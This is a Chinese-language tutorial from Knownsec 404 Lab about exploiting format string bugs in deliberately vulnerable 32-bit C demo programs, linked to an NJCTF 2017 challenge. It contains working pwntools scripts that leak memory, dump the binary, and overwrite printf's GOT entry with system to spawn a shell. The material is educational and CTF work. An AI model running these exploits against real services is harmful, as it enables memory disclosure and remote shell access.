Author: Hcamael (知道創宇404安全實驗室) Date: 2017-03-14

格式化字符串漏洞現在網上有很多相關的文章,原理啥的隨便搜搜都是,這篇文章就對格式化字符串漏洞如何利用進行研究。

格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫。

Leak Memory

先來對一個簡單的Demo進行研究:

// fmt_test.c

int main(int argc, char * argv[])
{
    char a[1024];
    memset(a, '\0', 1024);
    read(0, a, 1024);
    printf(a);
    return 0;
}


// $ gcc fmt_test.c -o fmt_test -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test

假設我們不知道該程序的源碼,連bin都沒有,只是能訪問一個這樣的應用:

$ nc 127.0.0.1 10001                       
aaaaaaa
aaaaaaa

在這種情況下,就是去嘗試各種漏洞的攻擊方法,比如棧溢出漏洞就輸入一堆字符,比如100*"a",而格式化字符串漏洞是使用"%x"這類格式化字符串去嘗試,比如:

$ nc 127.0.0.1 10001
%x
2c51cce0

得到了這樣的返回就說明該應用存在格式化字符串漏洞了,因為沒有源代碼或bin,并不知道要往哪寫啥數據,所以我們可以先leak memory,獲取該應用的源碼

leak memory利用到的是%s格式化字符,它的作用是輸出對應參數指向地址的值,也就是說它對應的參數是一個指針,而我們可以得到該指針對應內存數據

我們還可以繼續改進該格式化字符,%2$s,它表示的意義是輸出第二個參數指向的內存的值

那么我們怎么通過上面的格式化字符獲取我們想要的內存的地址呢?這就涉及第三個知識點。

格式化字符串漏洞是怎么產生的?首先要有一個函數,比如read, 比如gets獲取用戶輸入的數據儲存到局部變量中,然后直接把該變量作為printf這類函數的第一個參數值

其中局部變量是儲存在棧中,而且是儲存在棧的高位地址上,這里具體細節可以去讀讀匯編代碼,簡單的說,進入到一個函數中后,會sub rsp,xxx一段局部變量的棧空間,然后函數的參數啥的都是push到局部變量的棧空間之上

理解了上述的知識點后,我們可以輸入想leak數據的內存地址,然后爆破出我們輸入數據的位置,不就能leak相應地址的內存的數據了么

比如我輸入ABCD%2$x,如果輸出ABCD十六進制值,則說明第二個參數為我們輸入的數據的起始位置.

$ nc 127.0.0.1 10001
ABCD%2$x    
ABCD400

$ nc 127.0.0.1 10001
ABCD%3$x
ABCD174

$ nc 127.0.0.1 10001
ABCD%4$x
ABCD174

....

$ nc 127.0.0.1 10001
ABCD%11$x
ABCD44434241

這樣我們就能得到payload: addr + %11$s, 返回值為addr指向的內存的字符串,直到\0為止

這里我們可以進行測試下(我們現在是處于研究狀態,雖然假想沒bin,但實際我們是有的,所以可以進行測試來證明我們的結論)

$ objdum -d fmt_test -M intel

....

080485c4 <_fini>:
 80485c4:   53                      push   ebx
 80485c5:   83 ec 08                sub    esp,0x8
 80485c8:   e8 33 fe ff ff          call   8048400 <__x86.get_pc_thunk.bx>
 80485cd:   81 c3 33 1a 00 00       add    ebx,0x1a33
 80485d3:   83 c4 08                add    esp,0x8
 80485d6:   5b                      pop    ebx
 80485d7:   c3                      ret    

$ py                          
>>> from pwn import *

>>> p = remote("127.0.0.1",10001)
[x] Opening connection to 127.0.0.1 on port 10001
[x] Opening connection to 127.0.0.1 on port 10001: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 10001: Done

>>> p.send(p32(0x80485c4)+"%11$s")

>>> p.recv()
'\xc4\x85\x04\x08S\x83\xec\x08\xe83\xfe\xff\xff\x81\xc33\x1a'

>>> 

從上面的測試代碼中可以證明上述所講的結論, 我們成功leak出相應內存的數據(直到\x00為止)

上面爆破出來的11我們稱為offset,pwntools有自動化代碼可以算出offset:

# fmt_test.py
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):
    p = process("a.out")
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

我們可以看看其中一條DEBUG數據和結果:

$ python fmt_test.py

...

[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0x22 bytes:
    'aaaabaaacaaadaaaeaaaSTART%11$pEND\n'
[DEBUG] Received 0x27 bytes:
    'aaaabaaacaaadaaaeaaaSTART0x61616161END\n'
[*] Stopped program './a.out'
[*] Found format string offset: 11
11

測試完了,現在又恢復到沒bin狀態,有了前面的基礎,要dump出整個bin就很容易了

在Linux下,不開PIE保護時,32位的ELF的默認首地址為0x8048000,如果開啟了PIE保護,則需要根據ELF的魔術頭7f 45 4c 46進行爆破,內存地址一頁一頁的往前翻直到翻到ELF的魔術頭為止

但是這時候還存在一個問題: 比如我的Payload為:

p = remote("127.0.0.1",10001)
p.send(p32(0x8048000)+"%11$s")
print p.recv()

得到的結果是

$ python fmt_test.py
...
Traceback (most recent call last):
  ...
EOFError
...

發生了EOFError, 這是因為

>>> p32(0x8048000)
'\x00\x80\x04\x08'

printf 根據\x00判斷結尾

所以我們需要更改下payload

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'
p = remote("127.0.0.1",10001)
p.send("%13$saaa" + p32(0x8048000))
print p.recv()

可以成功dump數據了:

$ python fmt_test.py
[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0xc bytes:
    00000000  25 31 33 24  73 61 61 61  00 80 04 08               │%13$│saaa│····││
    0000000c
[DEBUG] Received 0xa bytes:
    00000000  7f 45 4c 46  01 01 01 61  61 61                     │·ELF│···a│aa│
    0000000a

原理都懂了,可以寫payload去dump 整個bin回來了

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context.log_level = 'debug'
f = open("source.bin", "ab+")

begin = 0x8048000
offset = 0

while True:
    addr = begin + offset
    p = process("a.out")
    p.sendline("%13$saaa" + p32(addr))
    try:
        info = p.recvuntil("aaa")[:-3]
    except EOFError:
        print offset
        break
    info += "\x00"
    p.close()
    offset += len(info)
    f.write(info)
    f.flush()

f.close()

內存數據dump下來后,雖然跟原始bin有很大不同,也運行不了,但是丟到ida中任然是可以看的:

format1

Write

二進制漏洞的最終目的都是要getshell,所以在我們獲取到bin后,接下來就是要getshell了

不過之前的demo過于簡單,沒有什么好的getshell的方法,對demo進行下修改.

// fmt_test2.c
#include <stdio.h>

int main(int argc, char * argv[])
{
    char a[1024];
    while(1) 
    {
        memset(a, '\0', 1024);
        read(0, a, 1024);
        printf(a);
        fflush(stdout);
    }
    return 0;
}


// $ gcc fmt_test2.c -o fmt_test2 -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test2

和之前的demo比,多了循環,不像之前一樣一下就退出了

在這種情況下,我們可以很容易只依靠格式化字符串漏洞進行攻擊

利用的邏輯很簡單,根據之前的知識點,leak出bin,然后獲取到printf函數的got表地址,然后把這個地址的值改為system函數的地址,在下次循環的時候,輸入/bin/sh,則printf(a);實際執行的卻是system('/bin/sh')

利用過程中,第一個知識點: dump 內存數據,也就是上面的內容,得到bin后,可以很容易的獲取到got表信息

接下來第二個知識點就是獲取system函數的地址,不過卻需要爆破跑

每次我首先獲取printf函數的地址,然后再根據自己機子上printfsystem函數之間的差值估測一個大概范圍進行爆破,得到的數據和system函數中的一些特征數據進行對比,判斷是否是system函數

這一步跳過,現在假設自己有libc庫,我本地的libc中,printfsystem函數的差值為:59600

最后一步,就是通過格式化字符串內容進行寫內存了,覆蓋got表中的值

這里我們可以使用pwntools神器:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'
printf_got = 0x804a010
system_add = 0xaaaaaaaa

def exec_fmt(payload):
    p.sendline(payload)
    return p.recv()

p = remote("127.0.0.1", 10001)
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})

上述代碼中autofmt = FmtStr(exec_fmt)到這行的內容之前都講過,接下來就是fmtstr_payload函數,這個函數的作用是用來生成格式化字符串漏洞寫內存的payload.

上述代碼的第一個參數為offset偏移,第二個參數是一個字典,意義是往key的地址,寫入value的值,也就是往0x804a010地址寫入數據0xaaaaaaaa

我們來看看輸出的payload:

...
>>> payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
>>> payload
'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08%154c%11$hhn%12$hhn%13$hhn%14$hhn'

開頭16bytes是4個地址:

0x0804a010
0x0804a011
0x0804a012
0x8004a012

然后是格式化字符串:%154c, 輸出hex(154)==0x9a bytes的字符,再加上之前的16bytes地址,一共有0xaa bytes

第三部分也是格式化字符串: %11$hhn%12$hhn%13$hhn%14$hhn,往第11, 12, 13, 14個參數指向的地址寫入一個值,該值等于之前輸出的byte數,在這里就是0xaa

而偏移值為11, 所以第11個參數為payload頭,也就是0x0804a010,然后以此類推

就是通過上述邏輯往相應地址寫入相應值的

所以可以寫出exp:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

p = remote("127.0.0.1", 10001)

# 獲取printf的libc地址
printf_got = 0x804a010
leak_payload = "b%13$saa" + p32(printf_got)

p.sendline(leak_payload)

p.recvuntil("b")
info = p.recvuntil("aa")[:-2]
print info.encode('hex')

# 計算system的libc地址
print_add = u32(info[:4])
p_s_offset = 59600     # addr(printf) - addr(system)
system_add = print_add - p_s_offset

# 生成payload
payload = fmtstr_payload(11, {printf_got: system_add})

# 發送payload
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

總結

在前幾天的NJCTF中有一個pingme的PWN題就是沒有源碼的格式化字符串漏洞.

二進制文件我拖下來了在我的Github2

有興趣的可以自己搭個環境試試看,該題就是只有一個遠程可訪問的服務,沒有bin和libc,不過這題的libc可以通過別的題獲取到,所以也可以算是已知libc的題

思路同我上面demo所講.

參考

  1. 格式化字符串漏洞簡介
  2. https://github.com/Hcamael/CTF_repo/tree/master/NJCTF%202017/Pwn200(pingme)
  3. http://python3-pwntools.readthedocs.io/en/latest/fmtstr.html

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/246/